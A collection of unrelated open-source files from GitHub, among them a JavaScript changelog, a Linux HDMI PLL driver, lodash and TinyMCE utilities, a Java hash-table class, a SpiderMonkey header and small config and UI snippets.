* Added debug.component.js build
0.6.0 / 2012-03-16
==================
* Added support for "-" prefix in DEBUG [Vinay Pulim]
* Added `.enabled` flag to the node version [TooTallNate]
0.5.0 / 2012-02-02
==================
* Added: humanize diffs. Closes #8
* Added `debug.disable()` to the CS variant
* Removed padding. Closes #10
* Fixed: persist client-side variant again. Closes #9
0.4.0 / 2012-02-01
==================
* Added browser variant support for older browsers [TooTallNate]
* Added `debug.enable('project:*')` to browser variant [TooTallNate]
* Added padding to diff (moved it to the right)
0.3.0 / 2012-01-26
==================
* Added millisecond diff when isatty, otherwise UTC string
0.2.0 / 2012-01-22
==================
* Added wildcard support
0.1.0 / 2011-12-02
==================
* Added: remove colors unless stderr isatty [TooTallNate]
0.0.1 / 2010-01-03
==================
* Initial release
|
{
"pile_set_name": "Github"
}
|
/*
* HDMI PLL
*
* Copyright (C) 2013 Texas Instruments Incorporated
*
* This program is free software; you can redistribute it and/or modify it
* under the terms of the GNU General Public License version 2 as published by
* the Free Software Foundation.
*/
#define DSS_SUBSYS_NAME "HDMIPLL"
#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/err.h>
#include <linux/io.h>
#include <linux/platform_device.h>
#include <linux/clk.h>
#include <linux/seq_file.h>
#include <linux/pm_runtime.h>
#include "omapdss.h"
#include "dss.h"
#include "hdmi.h"
void hdmi_pll_dump(struct hdmi_pll_data *pll, struct seq_file *s)
{
#define DUMPPLL(r) seq_printf(s, "%-35s %08x\n", #r,\
hdmi_read_reg(pll->base, r))
DUMPPLL(PLLCTRL_PLL_CONTROL);
DUMPPLL(PLLCTRL_PLL_STATUS);
DUMPPLL(PLLCTRL_PLL_GO);
DUMPPLL(PLLCTRL_CFG1);
DUMPPLL(PLLCTRL_CFG2);
DUMPPLL(PLLCTRL_CFG3);
DUMPPLL(PLLCTRL_SSC_CFG1);
DUMPPLL(PLLCTRL_SSC_CFG2);
DUMPPLL(PLLCTRL_CFG4);
}
static int hdmi_pll_enable(struct dss_pll *dsspll)
{
struct hdmi_pll_data *pll = container_of(dsspll, struct hdmi_pll_data, pll);
struct hdmi_wp_data *wp = pll->wp;
int r;
r = pm_runtime_get_sync(&pll->pdev->dev);
WARN_ON(r < 0);
dss_ctrl_pll_enable(DSS_PLL_HDMI, true);
r = hdmi_wp_set_pll_pwr(wp, HDMI_PLLPWRCMD_BOTHON_ALLCLKS);
if (r)
return r;
return 0;
}
static void hdmi_pll_disable(struct dss_pll *dsspll)
{
struct hdmi_pll_data *pll = container_of(dsspll, struct hdmi_pll_data, pll);
struct hdmi_wp_data *wp = pll->wp;
int r;
hdmi_wp_set_pll_pwr(wp, HDMI_PLLPWRCMD_ALLOFF);
dss_ctrl_pll_enable(DSS_PLL_HDMI, false);
r = pm_runtime_put_sync(&pll->pdev->dev);
WARN_ON(r < 0 && r != -ENOSYS);
}
static const struct dss_pll_ops dsi_pll_ops = {
.enable = hdmi_pll_enable,
.disable = hdmi_pll_disable,
.set_config = dss_pll_write_config_type_b,
};
static const struct dss_pll_hw dss_omap4_hdmi_pll_hw = {
.type = DSS_PLL_TYPE_B,
.n_max = 255,
.m_min = 20,
.m_max = 4095,
.mX_max = 127,
.fint_min = 500000,
.fint_max = 2500000,
.clkdco_min = 500000000,
.clkdco_low = 1000000000,
.clkdco_max = 2000000000,
.n_msb = 8,
.n_lsb = 1,
.m_msb = 20,
.m_lsb = 9,
.mX_msb[0] = 24,
.mX_lsb[0] = 18,
.has_selfreqdco = true,
};
static const struct dss_pll_hw dss_omap5_hdmi_pll_hw = {
.type = DSS_PLL_TYPE_B,
.n_max = 255,
.m_min = 20,
.m_max = 2045,
.mX_max = 127,
.fint_min = 620000,
.fint_max = 2500000,
.clkdco_min = 750000000,
.clkdco_low = 1500000000,
.clkdco_max = 2500000000UL,
.n_msb = 8,
.n_lsb = 1,
.m_msb = 20,
.m_lsb = 9,
.mX_msb[0] = 24,
.mX_lsb[0] = 18,
.has_selfreqdco = true,
.has_refsel = true,
};
static int dsi_init_pll_data(struct platform_device *pdev, struct hdmi_pll_data *hpll)
{
struct dss_pll *pll = &hpll->pll;
struct clk *clk;
int r;
clk = devm_clk_get(&pdev->dev, "sys_clk");
if (IS_ERR(clk)) {
DSSERR("can't get sys_clk\n");
return PTR_ERR(clk);
}
pll->name = "hdmi";
pll->id = DSS_PLL_HDMI;
pll->base = hpll->base;
pll->clkin = clk;
switch (omapdss_get_version()) {
case OMAPDSS_VER_OMAP4430_ES1:
case OMAPDSS_VER_OMAP4430_ES2:
case OMAPDSS_VER_OMAP4:
pll->hw = &dss_omap4_hdmi_pll_hw;
break;
case OMAPDSS_VER_OMAP5:
case OMAPDSS_VER_DRA7xx:
pll->hw = &dss_omap5_hdmi_pll_hw;
break;
default:
return -ENODEV;
}
pll->ops = &dsi_pll_ops;
r = dss_pll_register(pll);
if (r)
return r;
return 0;
}
int hdmi_pll_init(struct platform_device *pdev, struct hdmi_pll_data *pll,
struct hdmi_wp_data *wp)
{
int r;
struct resource *res;
pll->pdev = pdev;
pll->wp = wp;
res = platform_get_resource_byname(pdev, IORESOURCE_MEM, "pll");
if (!res) {
DSSERR("can't get PLL mem resource\n");
return -EINVAL;
}
pll->base = devm_ioremap_resource(&pdev->dev, res);
if (IS_ERR(pll->base)) {
DSSERR("can't ioremap PLLCTRL\n");
return PTR_ERR(pll->base);
}
r = dsi_init_pll_data(pdev, pll);
if (r) {
DSSERR("failed to init HDMI PLL\n");
return r;
}
return 0;
}
void hdmi_pll_uninit(struct hdmi_pll_data *hpll)
{
struct dss_pll *pll = &hpll->pll;
dss_pll_unregister(pll);
}
|
{
"pile_set_name": "Github"
}
|
var apply = require('./_apply'),
arrayMap = require('./_arrayMap'),
baseIteratee = require('./_baseIteratee'),
baseRest = require('./_baseRest');
/** Error message constants. */
var FUNC_ERROR_TEXT = 'Expected a function';
/**
* Creates a function that iterates over `pairs` and invokes the corresponding
* function of the first predicate to return truthy. The predicate-function
* pairs are invoked with the `this` binding and arguments of the created
* function.
*
* @static
* @memberOf _
* @since 4.0.0
* @category Util
* @param {Array} pairs The predicate-function pairs.
* @returns {Function} Returns the new composite function.
* @example
*
* var func = _.cond([
* [_.matches({ 'a': 1 }), _.constant('matches A')],
* [_.conforms({ 'b': _.isNumber }), _.constant('matches B')],
* [_.stubTrue, _.constant('no match')]
* ]);
*
* func({ 'a': 1, 'b': 2 });
* // => 'matches A'
*
* func({ 'a': 0, 'b': 1 });
* // => 'matches B'
*
* func({ 'a': '1', 'b': '2' });
* // => 'no match'
*/
function cond(pairs) {
var length = pairs == null ? 0 : pairs.length,
toIteratee = baseIteratee;
pairs = !length ? [] : arrayMap(pairs, function(pair) {
if (typeof pair[1] != 'function') {
throw new TypeError(FUNC_ERROR_TEXT);
}
return [toIteratee(pair[0]), pair[1]];
});
return baseRest(function(args) {
var index = -1;
while (++index < length) {
var pair = pairs[index];
if (apply(pair[0], this, args)) {
return apply(pair[1], this, args);
}
}
});
}
module.exports = cond;
|
{
"pile_set_name": "Github"
}
|
gcr.io/google_containers/cloud-controller-manager:v1.11.0-alpha.0
|
{
"pile_set_name": "Github"
}
|
package com.vk.api.sdk.exceptions;
public class ApiMethodDisabledException extends ApiException {
public ApiMethodDisabledException(String message) {
super(23, "This method was disabled", message);
}
}
|
{
"pile_set_name": "Github"
}
|
{
"parent": "builtin/generated",
"textures": {
"layer0": "flansmod:items/AK74_Blue"
},
"display": {
"thirdperson_righthand": {
"rotation": [
0,
90,
-45
],
"translation": [
0,
2,
-2
],
"scale": [
0,
0,
0
]
},
"thirdperson_lefthand": {
"rotation": [
0,
90,
-45
],
"translation": [
0,
2,
-2
],
"scale": [
0,
0,
0
]
},
"firstperson_righthand": {
"rotation": [
0,
-135,
25
],
"translation": [
0,
4,
2
],
"scale": [
1,
1,
1
]
},
"firstperson_lefthand": {
"rotation": [
0,
-135,
25
],
"translation": [
0,
4,
2
],
"scale": [
1,
1,
1
]
}
}
}
|
{
"pile_set_name": "Github"
}
|
The `Page` is a compositee component that can be used to build up a page. It consists of a `title` and `children` which can be
any number of nodes that build up the content of the page.
## Props
The following props may be passed to configure the Block.
| name | type | description | default |
| -------------| ---------------------| ------------------------------------------------------ | ------- |
| **title** | `String` | The title of the section | `null` |
| **children** | `node(s) - required` | The child components that make up the rest of the page | |
|
{
"pile_set_name": "Github"
}
|
import { Button, Classes, Icon } from "@blueprintjs/core";
import React from "react";
import styled from "styled-components";
import { useTheme } from "../shared/stores/ThemeStore";
const MenuContainer = styled.div`
-webkit-app-region: drag;
z-index: 1;
position: fixed;
align-items: center;
top: 0;
right: 0;
left: 0;
display: flex;
height: 30px;
width: 100%;
background: ${props =>
props.theme === Classes.DARK ? "#293742" : "#BFCCD6"};
justify-content: space-between;
.menu-container {
display: flex;
align-items: center;
&: first;
.menu-button {
-webkit-app-region: no-drag;
&:hover {
cursor: pointer;
}
}
.title {
padding-left: 10px;
}
}
.theme-changer {
-webkit-app-region: no-drag;
margin-left: auto;
margin-right: 50px;
}
.window-effects-container {
display: flex;
align-items: center;
justify-content: space-between;
-webkit-app-region: no-drag;
.theme-changer {
&:hover {
cursor: pointer;
}
}
.window-button {
border-radius: 0;
width: 3.2em;
}
}
`;
type TMinMaxIconType = "duplicate" | "square";
const DesktopMenu = () => {
// Importing electron here so that code doesn't give compilation error when running in browser
const { remote, ipcRenderer } = require("electron");
const currentWindow = remote.getCurrentWindow();
const startingIcon: TMinMaxIconType = currentWindow.isMaximized()
? "duplicate"
: "square";
const openAppMenu = e => {
ipcRenderer.send(`display-app-menu`, {
x: e.x,
y: e.y
});
};
const { theme, setTheme } = useTheme();
const [maximizeIcon, setMaximizeIcon] = React.useState<TMinMaxIconType>(
startingIcon
);
const [isCloseButtonMinimal, setIsCloseButtonMinimal] = React.useState<
boolean
>(true);
return (
<MenuContainer theme={theme}>
<span className="menu-container">
<Button
className="menu-button"
icon="menu"
minimal={true}
onContextMenu={openAppMenu}
onClick={openAppMenu}
/>
<span className="title">Ten Hands</span>
</span>
<div className="theme-changer">
{theme === Classes.DARK ? (
<Button
data-testid="theme-light"
icon="moon"
onClick={() => setTheme(`light`)}
minimal={true}
>
Dark
</Button>
) : (
<Button
data-testid="theme-dark"
icon="flash"
onClick={() => setTheme(Classes.DARK)}
minimal={true}
>
Light
</Button>
)}
</div>
<span className="window-effects-container">
<Button
minimal={true}
className="window-button minimize-button"
onClick={() => {
currentWindow.isMinimizable() && currentWindow.minimize();
}}
>
<Icon icon="minus" />
</Button>
<Button
minimal={true}
className="window-button min-max-button"
style={{
display: "flex",
justifyContent: "center",
alignItems: "center"
}}
onClick={() => {
if (currentWindow.isMaximized()) {
currentWindow.unmaximize();
setMaximizeIcon("square");
} else {
currentWindow.maximize();
setMaximizeIcon("duplicate");
}
}}
>
<Icon icon={maximizeIcon} iconSize={10} className="all-center" />
</Button>
<Button
minimal={isCloseButtonMinimal}
className="window-button close-button"
intent={!isCloseButtonMinimal ? "danger" : "none"}
onMouseOver={() => setIsCloseButtonMinimal(false)}
onMouseOut={() => setIsCloseButtonMinimal(true)}
onClick={() => {
remote.getCurrentWindow().close();
}}
>
<Icon icon="cross" />
</Button>
</span>
</MenuContainer>
);
};
export default DesktopMenu;
|
{
"pile_set_name": "Github"
}
|
///////////////////////////////////////////////////////////////////////////////
// Copyright (c) 2001, Eric D. Friedman All Rights Reserved.
// Copyright (c) 2009, Rob Eden All Rights Reserved.
// Copyright (c) 2009, Jeff Randall All Rights Reserved.
//
// This library is free software; you can redistribute it and/or
// modify it under the terms of the GNU Lesser General Public
// License as published by the Free Software Foundation; either
// version 2.1 of the License, or (at your option) any later version.
//
// This library is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU Lesser General Public
// License along with this program; if not, write to the Free Software
// Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
///////////////////////////////////////////////////////////////////////////////
package gnu.trove.impl.hash;
import gnu.trove.procedure.*;
import gnu.trove.impl.HashFunctions;
import java.io.ObjectOutput;
import java.io.ObjectInput;
import java.io.IOException;
//////////////////////////////////////////////////
// THIS IS A GENERATED CLASS. DO NOT HAND EDIT! //
//////////////////////////////////////////////////
/**
* An open addressed hashing implementation for int/char primitive entries.
*
* Created: Sun Nov 4 08:56:06 2001
*
* @author Eric D. Friedman
* @author Rob Eden
* @author Jeff Randall
* @version $Id: _K__V_Hash.template,v 1.1.2.6 2009/11/07 03:36:44 robeden Exp $
*/
abstract public class TIntCharHash extends TPrimitiveHash {
static final long serialVersionUID = 1L;
/** the set of ints */
public transient int[] _set;
/**
* key that represents null
*
* NOTE: should not be modified after the Hash is created, but is
* not final because of Externalization
*
*/
protected int no_entry_key;
/**
* value that represents null
*
* NOTE: should not be modified after the Hash is created, but is
* not final because of Externalization
*
*/
protected char no_entry_value;
protected boolean consumeFreeSlot;
/**
* Creates a new <code>T#E#Hash</code> instance with the default
* capacity and load factor.
*/
public TIntCharHash() {
super();
no_entry_key = ( int ) 0;
no_entry_value = ( char ) 0;
}
/**
* Creates a new <code>T#E#Hash</code> instance whose capacity
* is the next highest prime above <tt>initialCapacity + 1</tt>
* unless that value is already prime.
*
* @param initialCapacity an <code>int</code> value
*/
public TIntCharHash( int initialCapacity ) {
super( initialCapacity );
no_entry_key = ( int ) 0;
no_entry_value = ( char ) 0;
}
/**
* Creates a new <code>TIntCharHash</code> instance with a prime
* value at or near the specified capacity and load factor.
*
* @param initialCapacity used to find a prime capacity for the table.
* @param loadFactor used to calculate the threshold over which
* rehashing takes place.
*/
public TIntCharHash( int initialCapacity, float loadFactor ) {
super(initialCapacity, loadFactor);
no_entry_key = ( int ) 0;
no_entry_value = ( char ) 0;
}
/**
* Creates a new <code>TIntCharHash</code> instance with a prime
* value at or near the specified capacity and load factor.
*
* @param initialCapacity used to find a prime capacity for the table.
* @param loadFactor used to calculate the threshold over which
* rehashing takes place.
* @param no_entry_value value that represents null
*/
public TIntCharHash( int initialCapacity, float loadFactor,
int no_entry_key, char no_entry_value ) {
super(initialCapacity, loadFactor);
this.no_entry_key = no_entry_key;
this.no_entry_value = no_entry_value;
}
/**
* Returns the value that is used to represent null as a key. The default
* value is generally zero, but can be changed during construction
* of the collection.
*
* @return the value that represents null
*/
public int getNoEntryKey() {
return no_entry_key;
}
/**
* Returns the value that is used to represent null. The default
* value is generally zero, but can be changed during construction
* of the collection.
*
* @return the value that represents null
*/
public char getNoEntryValue() {
return no_entry_value;
}
/**
* initializes the hashtable to a prime capacity which is at least
* <tt>initialCapacity + 1</tt>.
*
* @param initialCapacity an <code>int</code> value
* @return the actual capacity chosen
*/
protected int setUp( int initialCapacity ) {
int capacity;
capacity = super.setUp( initialCapacity );
_set = new int[capacity];
return capacity;
}
/**
* Searches the set for <tt>val</tt>
*
* @param val an <code>int</code> value
* @return a <code>boolean</code> value
*/
public boolean contains( int val ) {
return index(val) >= 0;
}
/**
* Executes <tt>procedure</tt> for each key in the map.
*
* @param procedure a <code>TIntProcedure</code> value
* @return false if the loop over the set terminated because
* the procedure returned false for some value.
*/
public boolean forEach( TIntProcedure procedure ) {
byte[] states = _states;
int[] set = _set;
for ( int i = set.length; i-- > 0; ) {
if ( states[i] == FULL && ! procedure.execute( set[i] ) ) {
return false;
}
}
return true;
}
/**
* Releases the element currently stored at <tt>index</tt>.
*
* @param index an <code>int</code> value
*/
protected void removeAt( int index ) {
_set[index] = no_entry_key;
super.removeAt( index );
}
/**
* Locates the index of <tt>val</tt>.
*
* @param key an <code>int</code> value
* @return the index of <tt>val</tt> or -1 if it isn't in the set.
*/
protected int index( int key ) {
int hash, probe, index, length;
final byte[] states = _states;
final int[] set = _set;
length = states.length;
hash = HashFunctions.hash( key ) & 0x7fffffff;
index = hash % length;
byte state = states[index];
if (state == FREE)
return -1;
if (state == FULL && set[index] == key)
return index;
return indexRehashed(key, index, hash, state);
}
int indexRehashed(int key, int index, int hash, byte state) {
// see Knuth, p. 529
int length = _set.length;
int probe = 1 + (hash % (length - 2));
final int loopIndex = index;
do {
index -= probe;
if (index < 0) {
index += length;
}
state = _states[index];
//
if (state == FREE)
return -1;
//
if (key == _set[index] && state != REMOVED)
return index;
} while (index != loopIndex);
return -1;
}
/**
* Locates the index at which <tt>val</tt> can be inserted. if
* there is already a value equal()ing <tt>val</tt> in the set,
* returns that value as a negative integer.
*
* @param key an <code>int</code> value
* @return an <code>int</code> value
*/
protected int insertKey( int val ) {
int hash, index;
hash = HashFunctions.hash(val) & 0x7fffffff;
index = hash % _states.length;
byte state = _states[index];
consumeFreeSlot = false;
if (state == FREE) {
consumeFreeSlot = true;
insertKeyAt(index, val);
return index; // empty, all done
}
if (state == FULL && _set[index] == val) {
return -index - 1; // already stored
}
// already FULL or REMOVED, must probe
return insertKeyRehash(val, index, hash, state);
}
int insertKeyRehash(int val, int index, int hash, byte state) {
// compute the double hash
final int length = _set.length;
int probe = 1 + (hash % (length - 2));
final int loopIndex = index;
int firstRemoved = -1;
/**
* Look until FREE slot or we start to loop
*/
do {
// Identify first removed slot
if (state == REMOVED && firstRemoved == -1)
firstRemoved = index;
index -= probe;
if (index < 0) {
index += length;
}
state = _states[index];
// A FREE slot stops the search
if (state == FREE) {
if (firstRemoved != -1) {
insertKeyAt(firstRemoved, val);
return firstRemoved;
} else {
consumeFreeSlot = true;
insertKeyAt(index, val);
return index;
}
}
if (state == FULL && _set[index] == val) {
return -index - 1;
}
// Detect loop
} while (index != loopIndex);
// We inspected all reachable slots and did not find a FREE one
// If we found a REMOVED slot we return the first one found
if (firstRemoved != -1) {
insertKeyAt(firstRemoved, val);
return firstRemoved;
}
// Can a resizing strategy be found that resizes the set?
throw new IllegalStateException("No free or removed slots available. Key set full?!!");
}
void insertKeyAt(int index, int val) {
_set[index] = val; // insert value
_states[index] = FULL;
}
protected int XinsertKey( int key ) {
int hash, probe, index, length;
final byte[] states = _states;
final int[] set = _set;
length = states.length;
hash = HashFunctions.hash( key ) & 0x7fffffff;
index = hash % length;
byte state = states[index];
consumeFreeSlot = false;
if ( state == FREE ) {
consumeFreeSlot = true;
set[index] = key;
states[index] = FULL;
return index; // empty, all done
} else if ( state == FULL && set[index] == key ) {
return -index -1; // already stored
} else { // already FULL or REMOVED, must probe
// compute the double hash
probe = 1 + ( hash % ( length - 2 ) );
// if the slot we landed on is FULL (but not removed), probe
// until we find an empty slot, a REMOVED slot, or an element
// equal to the one we are trying to insert.
// finding an empty slot means that the value is not present
// and that we should use that slot as the insertion point;
// finding a REMOVED slot means that we need to keep searching,
// however we want to remember the offset of that REMOVED slot
// so we can reuse it in case a "new" insertion (i.e. not an update)
// is possible.
// finding a matching value means that we've found that our desired
// key is already in the table
if ( state != REMOVED ) {
// starting at the natural offset, probe until we find an
// offset that isn't full.
do {
index -= probe;
if (index < 0) {
index += length;
}
state = states[index];
} while ( state == FULL && set[index] != key );
}
// if the index we found was removed: continue probing until we
// locate a free location or an element which equal()s the
// one we have.
if ( state == REMOVED) {
int firstRemoved = index;
while ( state != FREE && ( state == REMOVED || set[index] != key ) ) {
index -= probe;
if (index < 0) {
index += length;
}
state = states[index];
}
if (state == FULL) {
return -index -1;
} else {
set[index] = key;
states[index] = FULL;
return firstRemoved;
}
}
// if it's full, the key is already stored
if (state == FULL) {
return -index -1;
} else {
consumeFreeSlot = true;
set[index] = key;
states[index] = FULL;
return index;
}
}
}
/** {@inheritDoc} */
public void writeExternal( ObjectOutput out ) throws IOException {
// VERSION
out.writeByte( 0 );
// SUPER
super.writeExternal( out );
// NO_ENTRY_KEY
out.writeInt( no_entry_key );
// NO_ENTRY_VALUE
out.writeChar( no_entry_value );
}
/** {@inheritDoc} */
public void readExternal( ObjectInput in ) throws IOException, ClassNotFoundException {
// VERSION
in.readByte();
// SUPER
super.readExternal( in );
// NO_ENTRY_KEY
no_entry_key = in.readInt();
// NO_ENTRY_VALUE
no_entry_value = in.readChar();
}
} // TIntCharHash
|
{
"pile_set_name": "Github"
}
|
/* -*- Mode: C++; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*-
* vim: set ts=8 sts=4 et sw=4 tw=99:
* This Source Code Form is subject to the terms of the Mozilla Public
* License, v. 2.0. If a copy of the MPL was not distributed with this
* file, You can obtain one at http://mozilla.org/MPL/2.0/. */
#ifndef vm_StringObject_h
#define vm_StringObject_h
#include "jsobj.h"
#include "jsstr.h"
#include "vm/Shape.h"
namespace js {
class StringObject : public JSObject
{
static const unsigned PRIMITIVE_VALUE_SLOT = 0;
static const unsigned LENGTH_SLOT = 1;
public:
static const unsigned RESERVED_SLOTS = 2;
static const Class class_;
/*
* Creates a new String object boxing the given string. The object's
* [[Prototype]] is determined from context.
*/
static inline StringObject *create(JSContext *cx, HandleString str,
NewObjectKind newKind = GenericObject);
JSString *unbox() const {
return getFixedSlot(PRIMITIVE_VALUE_SLOT).toString();
}
inline size_t length() const {
return size_t(getFixedSlot(LENGTH_SLOT).toInt32());
}
static size_t offsetOfPrimitiveValue() {
return getFixedSlotOffset(PRIMITIVE_VALUE_SLOT);
}
static size_t offsetOfLength() {
return getFixedSlotOffset(LENGTH_SLOT);
}
private:
inline bool init(JSContext *cx, HandleString str);
void setStringThis(JSString *str) {
JS_ASSERT(getReservedSlot(PRIMITIVE_VALUE_SLOT).isUndefined());
setFixedSlot(PRIMITIVE_VALUE_SLOT, StringValue(str));
setFixedSlot(LENGTH_SLOT, Int32Value(int32_t(str->length())));
}
/* For access to init, as String.prototype is special. */
friend JSObject *
::js_InitStringClass(JSContext *cx, js::HandleObject global);
/* For access to assignInitialShape. */
friend bool
EmptyShape::ensureInitialCustomShape<StringObject>(ExclusiveContext *cx,
Handle<StringObject*> obj);
/*
* Compute the initial shape to associate with fresh String objects, which
* encodes the initial length property. Return the shape after changing
* |obj|'s last property to it.
*/
static Shape *
assignInitialShape(ExclusiveContext *cx, Handle<StringObject*> obj);
};
} // namespace js
#endif /* vm_StringObject_h */
|
{
"pile_set_name": "Github"
}
|
import ComposableArchitecture
import FavoritePrimes
import PlaygroundSupport
import SwiftUI
PlaygroundPage.current.liveView = UIHostingController(
rootView: NavigationView {
FavoritePrimesView(
store: Store<[Int], FavoritePrimesAction>(
initialValue: [2, 3, 5, 7, 11],
reducer: favoritePrimesReducer
)
)
}
)
|
{
"pile_set_name": "Github"
}
|
/**
* element_common.js
*
* Copyright 2009, Moxiecode Systems AB
* Released under LGPL License.
*
* License: http://tinymce.moxiecode.com/license
* Contributing: http://tinymce.moxiecode.com/contributing
*/
tinyMCEPopup.requireLangPack();
function initCommonAttributes(elm) {
var formObj = document.forms[0], dom = tinyMCEPopup.editor.dom;
// Setup form data for common element attributes
setFormValue('title', dom.getAttrib(elm, 'title'));
setFormValue('id', dom.getAttrib(elm, 'id'));
selectByValue(formObj, 'class', dom.getAttrib(elm, 'class'), true);
setFormValue('style', dom.getAttrib(elm, 'style'));
selectByValue(formObj, 'dir', dom.getAttrib(elm, 'dir'));
setFormValue('lang', dom.getAttrib(elm, 'lang'));
setFormValue('onfocus', dom.getAttrib(elm, 'onfocus'));
setFormValue('onblur', dom.getAttrib(elm, 'onblur'));
setFormValue('onclick', dom.getAttrib(elm, 'onclick'));
setFormValue('ondblclick', dom.getAttrib(elm, 'ondblclick'));
setFormValue('onmousedown', dom.getAttrib(elm, 'onmousedown'));
setFormValue('onmouseup', dom.getAttrib(elm, 'onmouseup'));
setFormValue('onmouseover', dom.getAttrib(elm, 'onmouseover'));
setFormValue('onmousemove', dom.getAttrib(elm, 'onmousemove'));
setFormValue('onmouseout', dom.getAttrib(elm, 'onmouseout'));
setFormValue('onkeypress', dom.getAttrib(elm, 'onkeypress'));
setFormValue('onkeydown', dom.getAttrib(elm, 'onkeydown'));
setFormValue('onkeyup', dom.getAttrib(elm, 'onkeyup'));
}
function setFormValue(name, value) {
if(document.forms[0].elements[name]) document.forms[0].elements[name].value = value;
}
function insertDateTime(id) {
document.getElementById(id).value = getDateTime(new Date(), "%Y-%m-%dT%H:%M:%S");
}
function getDateTime(d, fmt) {
fmt = fmt.replace("%D", "%m/%d/%y");
fmt = fmt.replace("%r", "%I:%M:%S %p");
fmt = fmt.replace("%Y", "" + d.getFullYear());
fmt = fmt.replace("%y", "" + d.getYear());
fmt = fmt.replace("%m", addZeros(d.getMonth()+1, 2));
fmt = fmt.replace("%d", addZeros(d.getDate(), 2));
fmt = fmt.replace("%H", "" + addZeros(d.getHours(), 2));
fmt = fmt.replace("%M", "" + addZeros(d.getMinutes(), 2));
fmt = fmt.replace("%S", "" + addZeros(d.getSeconds(), 2));
fmt = fmt.replace("%I", "" + ((d.getHours() + 11) % 12 + 1));
fmt = fmt.replace("%p", "" + (d.getHours() < 12 ? "AM" : "PM"));
fmt = fmt.replace("%%", "%");
return fmt;
}
function addZeros(value, len) {
var i;
value = "" + value;
if (value.length < len) {
for (i=0; i<(len-value.length); i++)
value = "0" + value;
}
return value;
}
function selectByValue(form_obj, field_name, value, add_custom, ignore_case) {
if (!form_obj || !form_obj.elements[field_name])
return;
var sel = form_obj.elements[field_name];
var found = false;
for (var i=0; i<sel.options.length; i++) {
var option = sel.options[i];
if (option.value == value || (ignore_case && option.value.toLowerCase() == value.toLowerCase())) {
option.selected = true;
found = true;
} else
option.selected = false;
}
if (!found && add_custom && value != '') {
var option = new Option('Value: ' + value, value);
option.selected = true;
sel.options[sel.options.length] = option;
}
return found;
}
function setAttrib(elm, attrib, value) {
var formObj = document.forms[0];
var valueElm = formObj.elements[attrib.toLowerCase()];
tinyMCEPopup.editor.dom.setAttrib(elm, attrib, value || valueElm.value);
}
function setAllCommonAttribs(elm) {
setAttrib(elm, 'title');
setAttrib(elm, 'id');
setAttrib(elm, 'class');
setAttrib(elm, 'style');
setAttrib(elm, 'dir');
setAttrib(elm, 'lang');
/*setAttrib(elm, 'onfocus');
setAttrib(elm, 'onblur');
setAttrib(elm, 'onclick');
setAttrib(elm, 'ondblclick');
setAttrib(elm, 'onmousedown');
setAttrib(elm, 'onmouseup');
setAttrib(elm, 'onmouseover');
setAttrib(elm, 'onmousemove');
setAttrib(elm, 'onmouseout');
setAttrib(elm, 'onkeypress');
setAttrib(elm, 'onkeydown');
setAttrib(elm, 'onkeyup');*/
}
SXE = {
currentAction : "insert",
inst : tinyMCEPopup.editor,
updateElement : null
}
SXE.focusElement = SXE.inst.selection.getNode();
SXE.initElementDialog = function(element_name) {
addClassesToList('class', 'xhtmlxtras_styles');
TinyMCE_EditableSelects.init();
element_name = element_name.toLowerCase();
var elm = SXE.inst.dom.getParent(SXE.focusElement, element_name.toUpperCase());
if (elm != null && elm.nodeName.toUpperCase() == element_name.toUpperCase()) {
SXE.currentAction = "update";
}
if (SXE.currentAction == "update") {
initCommonAttributes(elm);
SXE.updateElement = elm;
}
document.forms[0].insert.value = tinyMCEPopup.getLang(SXE.currentAction, 'Insert', true);
}
SXE.insertElement = function(element_name) {
var elm = SXE.inst.dom.getParent(SXE.focusElement, element_name.toUpperCase()), h, tagName;
tinyMCEPopup.execCommand('mceBeginUndoLevel');
if (elm == null) {
var s = SXE.inst.selection.getContent();
if(s.length > 0) {
tagName = element_name;
insertInlineElement(element_name);
var elementArray = tinymce.grep(SXE.inst.dom.select(element_name));
for (var i=0; i<elementArray.length; i++) {
var elm = elementArray[i];
if (SXE.inst.dom.getAttrib(elm, '_mce_new')) {
elm.id = '';
elm.setAttribute('id', '');
elm.removeAttribute('id');
elm.removeAttribute('_mce_new');
setAllCommonAttribs(elm);
}
}
}
} else {
setAllCommonAttribs(elm);
}
SXE.inst.nodeChanged();
tinyMCEPopup.execCommand('mceEndUndoLevel');
}
SXE.removeElement = function(element_name){
element_name = element_name.toLowerCase();
elm = SXE.inst.dom.getParent(SXE.focusElement, element_name.toUpperCase());
if(elm && elm.nodeName.toUpperCase() == element_name.toUpperCase()){
tinyMCEPopup.execCommand('mceBeginUndoLevel');
tinyMCE.execCommand('mceRemoveNode', false, elm);
SXE.inst.nodeChanged();
tinyMCEPopup.execCommand('mceEndUndoLevel');
}
}
SXE.showRemoveButton = function() {
document.getElementById("remove").style.display = '';
}
SXE.containsClass = function(elm,cl) {
return (elm.className.indexOf(cl) > -1) ? true : false;
}
SXE.removeClass = function(elm,cl) {
if(elm.className == null || elm.className == "" || !SXE.containsClass(elm,cl)) {
return true;
}
var classNames = elm.className.split(" ");
var newClassNames = "";
for (var x = 0, cnl = classNames.length; x < cnl; x++) {
if (classNames[x] != cl) {
newClassNames += (classNames[x] + " ");
}
}
elm.className = newClassNames.substring(0,newClassNames.length-1); //removes extra space at the end
}
SXE.addClass = function(elm,cl) {
if(!SXE.containsClass(elm,cl)) elm.className ? elm.className += " " + cl : elm.className = cl;
return true;
}
function insertInlineElement(en) {
var ed = tinyMCEPopup.editor, dom = ed.dom;
ed.getDoc().execCommand('FontName', false, 'mceinline');
tinymce.each(dom.select('span,font'), function(n) {
if (n.style.fontFamily == 'mceinline' || n.face == 'mceinline')
dom.replace(dom.create(en, {_mce_new : 1}), n, 1);
});
}
|
{
"pile_set_name": "Github"
}
|
# Copyright (c) 2015, Frappe Technologies Pvt. Ltd. and Contributors
# License: GNU General Public License v3. See license.txt
from __future__ import unicode_literals
import frappe, unittest
import frappe.defaults
from frappe.utils import flt, nowdate, nowtime
from erpnext.stock.doctype.serial_no.serial_no import *
from erpnext import set_perpetual_inventory
from erpnext.stock.doctype.stock_ledger_entry.stock_ledger_entry import StockFreezeError
from erpnext.stock.stock_ledger import get_previous_sle
from frappe.permissions import add_user_permission, remove_user_permission
